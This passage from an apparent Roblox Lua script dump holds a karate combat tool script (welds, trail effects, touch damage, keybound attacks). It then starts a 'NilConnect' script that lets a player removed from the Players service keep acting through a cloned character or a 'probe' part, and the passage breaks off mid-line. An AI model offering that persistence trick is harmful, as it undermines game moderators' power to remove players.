  2839.  
  2840. hitsound.Volume = 0.55
  2841.  
  2842. hitsound.Pitch = 2.1
  2843.  
  2844. hitsound.Parent = torso
  2845.  
  2846. Mo = Instance.new("Model")
  2847.  
  2848. Mo.Name = Modelname
  2849.  
  2850. RABrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true)
  2851.  
  2852. LABrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true)
  2853.  
  2854. RLBrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true)
  2855.  
  2856. LLBrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true)
  2857.  
  2858. RABW = Weld(torso, RABrick, -1.5, -0.5, 0, 0, 0, 0)
  2859.  
  2860. LABW = Weld(torso, LABrick, 1.5, -0.5, 0, 0, 0, 0)
  2861.  
  2862. RLBW = Weld(torso, RLBrick, -0.5, 1.2, 0, 0, 0, 0)
  2863.  
  2864. LLBW = Weld(torso, LLBrick, 0.5, 1.2, 0, 0, 0, 0)
  2865.  
  2866. RAW = Weld(RABrick, nil, 0, 0.5, 0, 0, 0, 0)
  2867.  
  2868. LAW = Weld(LABrick, nil, 0, 0.5, 0, 0, 0, 0)
  2869.  
  2870. RLW = Weld(RLBrick, nil, 0, 0.8, 0, 0, 0, 0)
  2871.  
  2872. LLW = Weld(LLBrick, nil, 0, 0.8, 0, 0, 0, 0)
  2873.  
  2874. TBricks = {}
  2875.  
  2876. for i, v in pairs({Rarm, Larm, Rleg, Lleg}) do
  2877.  
  2878. local p = Part(Mo, false, false, 1, 0, "White", 0.9, 0.9, 0.8, true)
  2879.  
  2880. Weld(v, p, 0, 0.7, 0, 0, 0, 0)
  2881.  
  2882. table.insert(TBricks, {p, hurt = false, able = true})
  2883.  
  2884. end
  2885.  
  2886. function startEff(part)
  2887.  
  2888. effectOn = true
  2889.  
  2890. local lastPoint = part.Position
  2891.  
  2892. coroutine.resume(coroutine.create(function()
  2893.  
  2894. while effectOn do
  2895.  
  2896. wait()
  2897.  
  2898. local mag = (lastPoint - part.Position).magnitude
  2899.  
  2900. local p = Part(Mo, true, false, 0.2, 0.05, "Institutional white", 0.1, 0.1, mag+0.2, true)
  2901.  
  2902. p.CFrame = CFrame.new(lastPoint, part.Position) * CFrame.new(0, 0, -mag/2)
  2903.  
  2904. Instance.new("BlockMesh",p)
  2905.  
  2906. lastPoint = part.Position
  2907.  
  2908. coroutine.resume(coroutine.create(function()
  2909.  
  2910. for x=0.2,1,0.2 do
  2911.  
  2912. wait()
  2913.  
  2914. p.Transparency = x
  2915.  
  2916. end
  2917.  
  2918. p:remove()
  2919.  
  2920. end))
  2921.  
  2922. end
  2923.  
  2924. end))
  2925.  
  2926. end
  2927.  
  2928. function endEff()
  2929.  
  2930. effectOn = false
  2931.  
  2932. end
  2933.  
  2934. function ShowDMG(p, d)
  2935.  
  2936. local mo = Instance.new("Model")
  2937.  
  2938. mo.Name = d
  2939.  
  2940. local pa = Part(mo, false, true, 0, 0, "Bright red", 0.8, 0.2, 0.8, true)
  2941.  
  2942. pa.CFrame = CFrame.new(p.Position)
  2943.  
  2944. pa.Name = "Head"
  2945.  
  2946. local hah = hc:clone()
  2947.  
  2948. hah.Parent = mo
  2949.  
  2950. local bp = Add.BP(pa)
  2951.  
  2952. bp.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  2953.  
  2954. bp.position = p.Position + Vector3.new(0, 2.5, 0)
  2955.  
  2956. Add.BG(pa)
  2957.  
  2958. coroutine.resume(coroutine.create(function()
  2959.  
  2960. wait(0.2)
  2961.  
  2962. mo.Parent = workspace
  2963.  
  2964. wait(1.5)
  2965.  
  2966. mo:remove()
  2967.  
  2968. end))
  2969.  
  2970. end
  2971.  
  2972. for i, v in pairs(TBricks) do
  2973.  
  2974. v[1].Touched:connect(function(hit)
  2975.  
  2976. local fig = hit.Parent
  2977.  
  2978. H, T = getHumanoid(fig), fig:findFirstChild("Torso")
  2979.  
  2980. if H ~= nil and T ~= nil and v.hurt and v.able then
  2981.  
  2982. hitsound:play()
  2983.  
  2984. v.able = false
  2985.  
  2986. local d = math.random(dmg[1], dmg[2])
  2987.  
  2988. local hed, ne = getHead(fig, v[1].Position, 2.5)
  2989.  
  2990. if dmg[3] == "RoundHouse" and hed ~= nil then
  2991.  
  2992. d = math.random(dmg[1]*2.4, dmg[2]*2.4)
  2993.  
  2994. coroutine.resume(coroutine.create(function()
  2995.  
  2996. if ne ~= nil then
  2997.  
  2998. for i=0,60,20 do
  2999.  
  3000. ne.C0 = necko * CFrame.Angles(math.rad(-i), 0, 0)
  3001.  
  3002. wait()
  3003.  
  3004. end
  3005.  
  3006. for i=60,0,-20 do
  3007.  
  3008. ne.C0 = necko * CFrame.Angles(math.rad(-i), 0, 0)
  3009.  
  3010. wait()
  3011.  
  3012. end
  3013.  
  3014. ne.C0 = necko
  3015.  
  3016. end
  3017.  
  3018. end))
  3019.  
  3020. end
  3021.  
  3022. H.Health = H.Health - d
  3023.  
  3024. local xd = CFrame.new(v[1].Position, hit.Position)
  3025.  
  3026. hit.Velocity = xd.lookVector * (d*2.3)
  3027.  
  3028. ShowDMG(v[1], d)
  3029.  
  3030. wait(0.34)
  3031.  
  3032. v.able = true
  3033.  
  3034. end
  3035.  
  3036. end)
  3037.  
  3038. end
  3039.  
  3040. Mo.Parent = char
  3041.  
  3042. RAWBattle = nil
  3043.  
  3044. LAWBattle = nil
  3045.  
  3046. function nilparts()
  3047.  
  3048. LAW.Part1 = nil
  3049.  
  3050. RAW.Part1 = nil
  3051.  
  3052. RLW.Part1 = nil
  3053.  
  3054. LLW.Part1 = nil
  3055.  
  3056. LAW.C0 = CFrame.new(0, 0, 0)
  3057.  
  3058. RLW.C0 = CFrame.new(0, 0, 0)
  3059.  
  3060. LLW.C0 = CFrame.new(0, 0, 0)
  3061.  
  3062. RAW.C0 = CFrame.new(0, 0, 0)
  3063.  
  3064. end
  3065.  
  3066. function attach()
  3067.  
  3068. LAW.Part1 = Larm
  3069.  
  3070. RLW.Part1 = Rleg
  3071.  
  3072. LLW.Part1 = Lleg
  3073.  
  3074. RAW.Part1 = Rarm
  3075.  
  3076. LAW.C0 = CFrame.new(0, 0, 0)
  3077.  
  3078. RLW.C0 = CFrame.new(0, 0, 0)
  3079.  
  3080. LLW.C0 = CFrame.new(0, 0, 0)
  3081.  
  3082. RAW.C0 = CFrame.new(0, 0, 0)
  3083.  
  3084. end
  3085.  
  3086. attacks = {
  3087.  
  3088. function(mouse)
  3089.  
  3090. local Orig = torso.CFrame
  3091.  
  3092. local MousePos = mouse.Hit.p
  3093.  
  3094. local bg = Add.BG(torso)
  3095.  
  3096. local bp = Add.BP(torso)
  3097.  
  3098. bp.position = Orig.p
  3099.  
  3100. local CF = ComputePos(Orig.p, MousePos)
  3101.  
  3102. local CF2 = CF
  3103.  
  3104. bg.cframe = CF2
  3105.  
  3106. attach()
  3107.  
  3108. bp.position = CF * CFrame.new(0, 0, -1.5).p
  3109.  
  3110. startEff(TBricks[3][1])
  3111.  
  3112. TBricks[3].hurt = true
  3113.  
  3114. slash:play()
  3115.  
  3116. dmg = dmgs.Kdmg
  3117.  
  3118. for i = 0, 100, 100/4 do
  3119.  
  3120. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  3121.  
  3122. RLW.C0 = CFrame.Angles(0, 0, math.rad(i)) * CFrame.new(0, -i/200, 0)
  3123.  
  3124. LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
  3125.  
  3126. RAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7))
  3127.  
  3128. LAW.C0 = CFrame.Angles(math.rad(i/6), 0, math.rad(-i/7))
  3129.  
  3130. CF2 = CF * CFrame.Angles(math.rad(i/4), math.rad(i), 0)
  3131.  
  3132. bg.cframe = CF2
  3133.  
  3134. wait()
  3135.  
  3136. end
  3137.  
  3138. wait(0.1)
  3139.  
  3140. TBricks[3].hurt = false
  3141.  
  3142. for i = 100, 0, -100/5 do
  3143.  
  3144. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  3145.  
  3146. RLW.C0 = CFrame.Angles(0, 0, math.rad(i)) * CFrame.new(0, -i/150, 0)
  3147.  
  3148. LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
  3149.  
  3150. RAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7))
  3151.  
  3152. LAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7))
  3153.  
  3154. CF2 = CF * CFrame.Angles(math.rad(i/4), math.rad(i), 0)
  3155.  
  3156. bg.cframe = CF2
  3157.  
  3158. wait()
  3159.  
  3160. end
  3161.  
  3162. endEff()
  3163.  
  3164. wait()
  3165.  
  3166. nilparts()
  3167.  
  3168. bg:remove()
  3169.  
  3170. bp:remove()
  3171.  
  3172. neck.C0 = necko
  3173.  
  3174. end,
  3175.  
  3176. function(mouse)
  3177.  
  3178. local Orig = torso.CFrame
  3179.  
  3180. local MousePos = mouse.Hit.p
  3181.  
  3182. local bg = Add.BG(torso)
  3183.  
  3184. local bp = Add.BP(torso)
  3185.  
  3186. bp.position = Orig.p
  3187.  
  3188. local CF = ComputePos(Orig.p, MousePos)
  3189.  
  3190. local CF2 = CF
  3191.  
  3192. bg.cframe = CF2
  3193.  
  3194. attach()
  3195.  
  3196. bp.position = CF * CFrame.new(0, 0, -1.5).p
  3197.  
  3198. TBricks[2].hurt = true
  3199.  
  3200. startEff(TBricks[2][1])
  3201.  
  3202. slash:play()
  3203.  
  3204. dmg = dmgs.Pdmg
  3205.  
  3206. for i = 0, -90, -90/4 do
  3207.  
  3208. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  3209.  
  3210. RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
  3211.  
  3212. LLW.C0 = CFrame.Angles(0, 0, math.rad(i/4))
  3213.  
  3214. RAW.C0 = CFrame.Angles(0, 0, 0)
  3215.  
  3216. LAW.C0 = CFrame.Angles(math.rad(-i), 0, math.rad(i))
  3217.  
  3218. CF2 = CF * CFrame.Angles(math.rad(i/8), math.rad(i), 0)
  3219.  
  3220. bg.cframe = CF2
  3221.  
  3222. wait()
  3223.  
  3224. end
  3225.  
  3226. wait(0.07)
  3227.  
  3228. TBricks[2].hurt = false
  3229.  
  3230. endEff()
  3231.  
  3232. startEff(TBricks[1][1])
  3233.  
  3234. TBricks[1].hurt = true
  3235.  
  3236. bp.position = CF * CFrame.new(0, 0, -3).p
  3237.  
  3238. slash:play()
  3239.  
  3240. for i = -90, 0, 90/7 do
  3241.  
  3242. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-(i*2+90)))
  3243.  
  3244. RAW.C0 = CFrame.Angles(math.rad(i-90), math.pi, math.rad(i-90))
  3245.  
  3246. LAW.C0 = CFrame.Angles(math.rad(-i), 0, math.rad(i))
  3247.  
  3248. CF2 = CF * CFrame.Angles(math.rad(i/8), math.rad(i*2+90), 0)
  3249.  
  3250. bg.cframe = CF2
  3251.  
  3252. wait()
  3253.  
  3254. end
  3255.  
  3256. wait(0.07)
  3257.  
  3258. TBricks[1].hurt = false
  3259.  
  3260. for i = 0, -90, -90/5 do
  3261.  
  3262. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-(i+90)))
  3263.  
  3264. RAW.C0 = CFrame.Angles(math.rad(i-90), math.pi, math.rad(i-90))
  3265.  
  3266. RLW.C0 = CFrame.Angles(0, 0, math.rad(i/4+23))
  3267.  
  3268. LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4-23))
  3269.  
  3270. CF2 = CF * CFrame.Angles(0, math.rad(i+90), 0)
  3271.  
  3272. bg.cframe = CF2
  3273.  
  3274. wait()
  3275.  
  3276. end
  3277.  
  3278. endEff()
  3279.  
  3280. wait()
  3281.  
  3282. nilparts()
  3283.  
  3284. bg:remove()
  3285.  
  3286. bp:remove()
  3287.  
  3288. neck.C0 = necko
  3289.  
  3290. end,
  3291.  
  3292. function(mouse)
  3293.  
  3294. local Orig = torso.CFrame
  3295.  
  3296. local MousePos = mouse.Hit.p
  3297.  
  3298. local bg = Add.BG(torso)
  3299.  
  3300. local bp = Add.BP(torso)
  3301.  
  3302. bp.position = Orig.p
  3303.  
  3304. local CF = ComputePos(Orig.p, MousePos)
  3305.  
  3306. local CF2 = CF
  3307.  
  3308. bg.cframe = CF2
  3309.  
  3310. attach()
  3311.  
  3312. bp.position = CF * CFrame.new(0, 0, -1.5).p
  3313.  
  3314. TBricks[4].hurt = true
  3315.  
  3316. startEff(TBricks[4][1])
  3317.  
  3318. slash:play()
  3319.  
  3320. dmg = dmgs.K2dmg
  3321.  
  3322. for i = 0, -100, -100/4 do
  3323.  
  3324. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  3325.  
  3326. RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
  3327.  
  3328. LLW.C0 = CFrame.Angles(0, 0, math.rad(i))
  3329.  
  3330. RAW.C0 = CFrame.Angles(math.rad(-i/6), 0, math.rad(-i/7))
  3331.  
  3332. LAW.C0 = CFrame.Angles(math.rad(i/6), 0, math.rad(-i/7))
  3333.  
  3334. CF2 = CF * CFrame.Angles(math.rad(-i/5), math.rad(i), 0)
  3335.  
  3336. bg.cframe = CF2
  3337.  
  3338. wait()
  3339.  
  3340. end
  3341.  
  3342. wait(0.1)
  3343.  
  3344. bp.position = CF * CFrame.new(0, 0, -3).p
  3345.  
  3346. TBricks[4].hurt = false
  3347.  
  3348. endEff()
  3349.  
  3350. startEff(TBricks[3][1])
  3351.  
  3352. TBricks[3].hurt = true
  3353.  
  3354. local Cobalt11641, hipow12 = RLW.C0, LLW.C0
  3355.  
  3356. slash:play()
  3357.  
  3358. for i = -100, -290, -190/5 do
  3359.  
  3360. RLW.C0 = Cobalt11641 * CFrame.Angles(0, 0, math.rad(-i/3-(100/4)))
  3361.  
  3362. LLW.C0 = CFrame.Angles(0, 0, math.rad((-i/3)-100))
  3363.  
  3364. CF2 = CF * CFrame.Angles(math.rad(100/5), math.rad(i), 0)
  3365.  
  3366. bg.cframe = CF2
  3367.  
  3368. wait()
  3369.  
  3370. end
  3371.  
  3372. wait(0.1)
  3373.  
  3374. bp.position = CF * CFrame.new(0, 0, -4.5).p
  3375.  
  3376. TBricks[3].hurt = false
  3377.  
  3378. Cobalt11641, hipow12 = RLW.C0, LLW.C0
  3379.  
  3380. for i = 0, -70, -70/3 do
  3381.  
  3382. neck.C0 = necko * CFrame.Angles(0, 0, math.rad((i*1.3)+100))
  3383.  
  3384. RLW.C0 = Cobalt11641 * CFrame.Angles(0, 0, math.rad(i*1.4))
  3385.  
  3386. LLW.C0 = hipow12 * CFrame.Angles(0, 0, 0)
  3387.  
  3388. RAW.C0 = CFrame.Angles(0, 0, 0)
  3389.  
  3390. LAW.C0 = CFrame.Angles(0, 0, 0)
  3391.  
  3392. CF2 = CF * CFrame.Angles(0, math.rad(-290+i), 0)
  3393.  
  3394. bg.cframe = CF2
  3395.  
  3396. wait()
  3397.  
  3398. end
  3399.  
  3400. endEff()
  3401.  
  3402. wait()
  3403.  
  3404. nilparts()
  3405.  
  3406. bg:remove()
  3407.  
  3408. bp:remove()
  3409.  
  3410. neck.C0 = necko
  3411.  
  3412. end,
  3413.  
  3414. function(mouse)
  3415.  
  3416. if mouse ~= nil then
  3417.  
  3418. local Orig = torso.CFrame
  3419.  
  3420. local MousePos = mouse.Hit.p
  3421.  
  3422. local bg = Add.BG(torso)
  3423.  
  3424. local bp = Add.BP(torso)
  3425.  
  3426. bp.position = Orig.p
  3427.  
  3428. local CF = ComputePos(Orig.p, MousePos)
  3429.  
  3430. local CF2 = CF
  3431.  
  3432. bg.cframe = CF2
  3433.  
  3434. startEff(TBricks[3][1])
  3435.  
  3436. attach()
  3437.  
  3438. bp.position = CF * CFrame.new(0, 0, -1).p
  3439.  
  3440. dmg = dmgs.Rdmg
  3441.  
  3442. for i = 0, 180, 180/7 do
  3443.  
  3444. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(i/2))
  3445.  
  3446. RLW.C0 = CFrame.Angles(0, 0, 0)
  3447.  
  3448. LLW.C0 = CFrame.Angles(0, 0, 0)
  3449.  
  3450. RAW.C0 = CFrame.Angles(math.rad(i/5), 0, math.rad(i/10))
  3451.  
  3452. LAW.C0 = CFrame.Angles(math.rad(-i/5), 0, math.rad(-i/10))
  3453.  
  3454. CF2 = CF * CFrame.Angles(math.rad(i/5.8), math.rad(-i), 0)
  3455.  
  3456. bg.cframe = CF2
  3457.  
  3458. wait()
  3459.  
  3460. end
  3461.  
  3462. slash:play()
  3463.  
  3464. TBricks[3].hurt = true
  3465.  
  3466. for i = 180, 180+90, 90/4 do
  3467.  
  3468. neck.C0 = necko * CFrame.Angles(0, 0, math.rad((-i*2-180)-90))
  3469.  
  3470. RLW.C0 = CFrame.Angles(0, 0, math.rad((i*1.45)-(180*1.45))) * CFrame.new(0, (-i+180)/100, 0)
  3471.  
  3472. LLW.C0 = CFrame.Angles(0, 0, math.rad((-i/3)+(180/3)))
  3473.  
  3474. RAW.C0 = CFrame.Angles(math.rad(i/5), 0, math.rad(i/10))
  3475.  
  3476. LAW.C0 = CFrame.Angles(math.rad(-i/5), 0, math.rad(-i/10))
  3477.  
  3478. CF2 = CF * CFrame.Angles(math.rad(180/5.8), math.rad(-i), 0)
  3479.  
  3480. bg.cframe = CF2
  3481.  
  3482. wait()
  3483.  
  3484. end
  3485.  
  3486. TBricks[3].hurt = false
  3487.  
  3488. wait()
  3489.  
  3490. for i = 270, 360, 90/5 do
  3491.  
  3492. local a = i-270
  3493.  
  3494. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(i))
  3495.  
  3496. RLW.C0 = CFrame.Angles(0, 0, math.rad((-a*1.1)-(180*1.45))) * CFrame.new(0, (a/100)+((-270+180)/100), 0)
  3497.  
  3498. LLW.C0 = CFrame.Angles(0, 0, math.rad((a/3)-(90/3)))
  3499.  
  3500. RAW.C0 = CFrame.Angles(math.rad(270/5-((a*3)/5)), 0, math.rad(270/10-((a*3)/10)))
  3501.  
  3502. LAW.C0 = CFrame.Angles(math.rad(-270/5+((a*3)/5)), 0, math.rad(-270/10+((a*3)/10)))
  3503.  
  3504. CF2 = CF * CFrame.Angles(math.rad((180/5.8)-((a*2)/5.8)), math.rad(-i), 0)
  3505.  
  3506. bg.cframe = CF2
  3507.  
  3508. wait()
  3509.  
  3510. end
  3511.  
  3512. endEff()
  3513.  
  3514. wait()
  3515.  
  3516. nilparts()
  3517.  
  3518. bg:remove()
  3519.  
  3520. bp:remove()
  3521.  
  3522. neck.C0 = necko
  3523.  
  3524. end
  3525.  
  3526. end,
  3527.  
  3528. function(mouse)
  3529.  
  3530. local Orig = torso.CFrame
  3531.  
  3532. local MousePos = mouse.Hit.p
  3533.  
  3534. local bg = Add.BG(torso)
  3535.  
  3536. local bp = Add.BP(torso)
  3537.  
  3538. bp.position = Orig.p
  3539.  
  3540. local CF = ComputePos(Orig.p, MousePos)
  3541.  
  3542. local CF2 = CF
  3543.  
  3544. bg.cframe = CF2
  3545.  
  3546. startEff(TBricks[2][1])
  3547.  
  3548. attach()
  3549.  
  3550. bp.position = CF * CFrame.new(0, 0, -0.8).p
  3551.  
  3552. dmg = dmgs.Kardmg
  3553.  
  3554. for i = 0, -45, -45/3 do
  3555.  
  3556. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  3557.  
  3558. RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
  3559.  
  3560. LLW.C0 = CFrame.Angles(0, 0, math.rad(i/4))
  3561.  
  3562. RAW.C0 = CFrame.Angles(0, 0, math.rad(-i/3))
  3563.  
  3564. LAW.C0 = CFrame.Angles(math.rad(-i*4), 0, 0)
  3565.  
  3566. CF2 = CF * CFrame.Angles(0, math.rad(i), 0)
  3567.  
  3568. bg.cframe = CF2
  3569.  
  3570. wait()
  3571.  
  3572. end
  3573.  
  3574. TBricks[2].hurt = true
  3575.  
  3576. bp.position = CF * CFrame.new(0, 0, -1.6).p
  3577.  
  3578. slash:play()
  3579.  
  3580. for i = -45, -110, -65/3 do
  3581.  
  3582. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  3583.  
  3584. LAW.C0 = CFrame.Angles(math.rad(-45*4), 0, math.rad((i*2+110)))
  3585.  
  3586. CF2 = CF * CFrame.Angles(0, math.rad(i), 0)
  3587.  
  3588. bg.cframe = CF2
  3589.  
  3590. wait()
  3591.  
  3592. end
  3593.  
  3594. wait()
  3595.  
  3596. TBricks[2].hurt = false
  3597.  
  3598. for i = -110, 0, 110/4 do
  3599.  
  3600. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  3601.  
  3602. LAW.C0 = CFrame.Angles(0, 0, math.rad(i) )
  3603.  
  3604. RAW.C0 = CFrame.Angles(0, 0, math.rad(-i/2/3))
  3605.  
  3606. RLW.C0 = CFrame.Angles(0, 0, math.rad(45/4-(((i/2)+45)/4)))
  3607.  
  3608. LLW.C0 = CFrame.Angles(0, 0, math.rad(45/4+(((i/2)-45)/4)))
  3609.  
  3610. CF2 = CF * CFrame.Angles(0, math.rad(i), 0)
  3611.  
  3612. bg.cframe = CF2
  3613.  
  3614. wait()
  3615.  
  3616. end
  3617.  
  3618. endEff()
  3619.  
  3620. wait()
  3621.  
  3622. nilparts()
  3623.  
  3624. bg:remove()
  3625.  
  3626. bp:remove()
  3627.  
  3628. neck.C0 = necko
  3629.  
  3630. end
  3631.  
  3632. }
  3633.  
  3634. bloc = function(mouse)
  3635.  
  3636. local hold = true
  3637.  
  3638. local bg = Add.BG(nil)
  3639.  
  3640. attach()
  3641.  
  3642. RLW.Part1 = nil
  3643.  
  3644. LLW.Part1 = nil
  3645.  
  3646. slash:play()
  3647.  
  3648. local duh = true
  3649.  
  3650. block = true
  3651.  
  3652. mouse.KeyUp:connect(function(k)
  3653.  
  3654. k = k:lower()
  3655.  
  3656. if duh == true and k == "t" then
  3657.  
  3658. block = false
  3659.  
  3660. duh = false
  3661.  
  3662. hold = false
  3663.  
  3664. end
  3665.  
  3666. end)
  3667.  
  3668. coroutine.resume(coroutine.create(function()
  3669.  
  3670. for i = 0, 90, 90/7 do
  3671.  
  3672. RAW.C0 = CFrame.new(-i/150, 0, -i/170) * CFrame.Angles(math.rad(i/1.1), 0, math.rad(-i/1.2))
  3673.  
  3674. LAW.C0 = CFrame.new(i/150, 0, -i/170) * CFrame.Angles(math.rad(i*1.25), 0, math.rad(i/1.5))
  3675.  
  3676. wait()
  3677.  
  3678. end
  3679.  
  3680. end))
  3681.  
  3682. bg.Parent = torso
  3683.  
  3684. while block and hold do
  3685.  
  3686. wait()
  3687.  
  3688. bg.cframe = ComputePos(torso.Position, mouse.Hit.p)
  3689.  
  3690. end
  3691.  
  3692. for i = 90, 0, -90/7 do
  3693.  
  3694. RAW.C0 = CFrame.new(-i/150, 0, -i/170) * CFrame.Angles(math.rad(i/1.1), 0, math.rad(-i/1.2))
  3695.  
  3696. LAW.C0 = CFrame.new(i/150, 0, -i/170) * CFrame.Angles(math.rad(i*1.25), 0, math.rad(i/1.5))
  3697.  
  3698. wait()
  3699.  
  3700. end
  3701.  
  3702. nilparts()
  3703.  
  3704. bg:remove()
  3705.  
  3706. neck.C0 = necko
  3707.  
  3708. end
  3709.  
  3710. function select(mouse)
  3711.  
  3712. mouse.Button1Down:connect(function()
  3713.  
  3714. if able then
  3715.  
  3716. able = false
  3717.  
  3718. attacks[1](mouse)
  3719.  
  3720. attacks[2](mouse)
  3721.  
  3722. attacks[3](mouse)
  3723.  
  3724. attacks[4](mouse)
  3725.  
  3726. attacks[5](mouse)
  3727.  
  3728. able = true
  3729.  
  3730. end
  3731.  
  3732. end)
  3733.  
  3734. mouse.KeyDown:connect(function(key)
  3735.  
  3736. key = key:lower()
  3737.  
  3738. if able then
  3739.  
  3740. if key == "q" then
  3741.  
  3742. able = false
  3743.  
  3744. attacks[2](mouse)
  3745.  
  3746. able = true
  3747.  
  3748. elseif key == "e" then
  3749.  
  3750. able = false
  3751.  
  3752. attacks[1](mouse)
  3753.  
  3754. able = true
  3755.  
  3756. elseif key == "r" then
  3757.  
  3758. able = false
  3759.  
  3760. attacks[3](mouse)
  3761.  
  3762. able = true
  3763.  
  3764. elseif key == "f" then
  3765.  
  3766. able = false
  3767.  
  3768. attacks[4](mouse)
  3769.  
  3770. able = true
  3771.  
  3772. elseif key == "g" then
  3773.  
  3774. able = false
  3775.  
  3776. attacks[5](mouse)
  3777.  
  3778. able = true
  3779.  
  3780. elseif key == "t" then
  3781.  
  3782. able = false
  3783.  
  3784. bloc(mouse)
  3785.  
  3786. able = true
  3787.  
  3788. elseif key == "z" then
  3789.  
  3790. able = false
  3791.  
  3792. holdkey = true
  3793.  
  3794. while holdkey do
  3795.  
  3796. attacks[math.random(1,#attacks)](mouse)
  3797.  
  3798. end
  3799.  
  3800. able = true
  3801.  
  3802. end
  3803.  
  3804. end
  3805.  
  3806. end)
  3807.  
  3808. mouse.KeyUp:connect(function(key)
  3809.  
  3810. key = key:lower()
  3811.  
  3812. if key == "z" then
  3813.  
  3814. holdkey = false
  3815.  
  3816. end
  3817.  
  3818. end)
  3819.  
  3820. end
  3821.  
  3822. if script.Parent.className ~= "HopperBin" then
  3823.  
  3824. h = Instance.new("HopperBin",me.Backpack)
  3825.  
  3826. h.Name = "Karate"
  3827.  
  3828. script.Parent = h
  3829.  
  3830. end
  3831.  
  3832. bin = script.Parent
  3833.  
  3834. bin.Selected:connect(select)
  3835. ]]
  3836. NilConnect = [[
  3837. wait(0.001)
  3838. script:ClearAllChildren()
  3839. script.Parent=nil
  3840. wait(1)
  3841. LocalPlayer = game:service'Players'.LocalPlayer
  3842. ProbeMode = false
  3843. char = nil
  3844. probe = nil
  3845. game:service'Debris':AddItem(x,3)
  3846. if LocalPlayer.Character then
  3847. LocalPlayer.Character.Archivable = true
  3848. char = LocalPlayer.Character:Clone()
  3849. char.Torso.Anchored = true
  3850. else
  3851. local con = LocalPlayer.CharacterAdded:connect(function()
  3852. wait(0.5)
  3853. LocalPlayer.Character.Archivable = true
  3854. char = LocalPlayer.Character:Clone()
  3855. char.Torso.Anchored = true
  3856. end)
  3857. end
  3858. xcon = LocalPlayer.Changed:connect(function(asd)
  3859. if asd == 'Parent' then
  3860. local a = Instance.new("Hint",workspace)
  3861. a.Text = '[ Connected|CMDS|Probe|Char|Fcam|Rej ]'
  3862. game:service'Debris':AddItem(a,3)
  3863. end
  3864. end)
  3865. asdcon = LocalPlayer.Chatted:connect(function(msg)
  3866. pcall(function()
  3867. if LocalPlayer.Parent ~= game:service'Players' then
  3868. if msg == 'char/' then
  3869. ProbeMode = false
  3870. elseif msg == 'probe/' then
  3871. ProbeMode = true
  3872. elseif msg == 'fcam/' then
  3873. if LocalPlayer.Parent ~= game:service'Players' then
  3874. if LocalPlayer.Character == nil or LocalPlayer.Character.Parent ~= workspace then
  3875. if ProbeMode == false then
  3876. game.Players.CurrentCamera.CameraSubject = game.Workspace[LocalPlayer.Name].Humanoid
  3877. end
  3878. end
  3879. end
  3880. elseif msg == 'rej/' then
  3881. coroutine.wrap(function()
  3882. if ProbeMode == true then
  3883. probe:remove()
  3884. else
  3885. LocalPlayer.Character:remove()
  3886. char = nil
  3887. end
  3888. zcon:disconnect()
  3889. asdcon:disconnect()
  3890. xcon:disconnect()
  3891. end)()
  3892. game:service'TeleportService':Teleport(game.PlaceId)
  3893. else
  3894. if ProbeMode == true then
  3895. game:service'Chat':Chat(probe,msg)
  3896. else
  3897. game:service'Chat':Chat(LocalPlayer.Character.Head,msg)
  3898. end
  3899. end
  3900. end
  3901. end)
  3902. end)
  3903. zcon = game:service'RunService'.RenderStepped:connect(function()
  3904. if LocalPlayer.Parent ~= game:service'Players' then
  3905. if ProbeMode == false then
  3906. if LocalPlayer.Character == nil or LocalPlayer.Character.Parent ~= workspace then
  3907. local chr = char:Clone()
  3908. chr.Parent = workspace
  3909. LocalPlayer.Character = chr
  3910. wait(0.1)
  3911. game:service'Workspace'.CurrentCamera.CameraSubject = chr:findFirstChild'Humanoid'
  3912. end
  3913. else
  3914. if probe == nil or probe.Parent ~= workspace or probe:findFirstChild'Cobalt1164Mesh' == nil then
  3915. if LocalPlayer.Character ~= nil then LocalPlayer.Character:remove() LocalPlayer.Character = nil end
  3916. local a = Instance.new("Part",workspace)
  3917. a.Name = LocalPlayer.Name
  3918. a.FormFactor = 'Custom'
  3919. a.CanCollide = false
  3920. a.Locked = true
  3921. a.Anchored = true
  3922. a.TopSurface = 0
  3923. a.BottomSurface = 0
  3924. a.Size = Vector3.new(2,2,2)
  3925. a.BrickColor = BrickColor.new("Really black")
  3926. local b = Instance.new('SpecialMesh',a)
  3927. b.Name = 'Cobalt1164Mesh'
  3928. b.MeshType = 'Sphere'
  3929. probe = a
  3930. else
  3931. local asd = probe:findFirstChild'Cobalt1164Mesh'
  3932. asd.Scale = Vector3.new(math.cos(time())*2,math.cos(time())*2,math.cos(time())*2)
  3933. probe.CFrame = workspace.CurrentCamera.Focus
  3934. end
  3935. end
  3936. end
  3937. end)
  3938. LocalPlayer:GetMouse().KeyDown:connect(function(k)
  3939. key = k
  3940. end)
  3941. LocalPlayer:GetMouse().KeyUp:connect(function()
  3942. key = nil
  3943. end)
  3944. game:service'RunService'.RenderStepped:connect(function()
  3945. if LocalPlayer.Parent ~= game:service'Players' then
  3946. if ProbeMode == false then
  3947. if LocalPlayer.Character ~= nil then
  3948. if key == 'w' then
  3949. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-.5)
